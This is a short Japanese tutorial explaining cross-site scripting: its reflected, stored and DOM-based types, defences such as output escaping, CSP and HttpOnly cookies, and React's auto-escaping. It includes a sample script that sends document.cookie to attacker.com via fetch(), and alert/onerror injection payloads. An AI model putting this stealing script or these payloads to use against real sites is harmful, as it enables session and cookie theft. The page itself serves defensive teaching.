XSS

XSS とは

XSS (Cross-Site Scripting) は、Web サイトに悪意のある JavaScript を注入し、ユーザーの Cookie、セッション、個人情報を盗む攻撃である。OWASP Top 10 に常にランクインする主要な脆弱性。詳細は「XSS 詳解」を参照。

3 つの種類

3 つの種類を以下にまとめる。

種類	説明	例
反射型 (Reflected)	URL パラメータ経由で注入	?q=<script>alert(1)</script>
格納型 (Stored)	DB に保存されたスクリプトが表示	コメント欄にスクリプトを投稿
DOM ベース	クライアント側の JS で注入	innerHTML に未サニタイズの値

攻撃の例

攻撃の例を以下に示す。

<!-- 格納型 XSS: コメント欄に投稿 -->
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

<!-- DOM ベース XSS -->
<script>
  document.getElementById('output').innerHTML = location.hash.slice(1);
  // URL: https://example.com/#<img src=x onerror=alert(1)>
</script>

防御策

防御策を以下にまとめる。

対策	説明
出力エスケープ	HTML エンティティに変換 (< → &lt;)
CSP	スクリプトの実行元を制限
HttpOnly Cookie	JS から Cookie にアクセス不可
React の自動エスケープ	JSX は自動的にエスケープ

React での防御

React での防御のコード例を示す。

// ✅ React は自動的にエスケープ
<p>{userInput}</p>
// userInput が "<script>alert(1)</script>" でも
// → &lt;script&gt;alert(1)&lt;/script&gt; として表示

// ❌ dangerouslySetInnerHTML は XSS の危険
<div dangerouslySetInnerHTML={{ __html: userInput }} />

CSP (Content Security Policy)

CSP (Content Security Policy) を図で示す。

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

インラインスクリプトの実行を禁止し、許可されたオリジンからのスクリプトのみ実行を許可する。

実務での活用方法は関連書籍にも詳しい。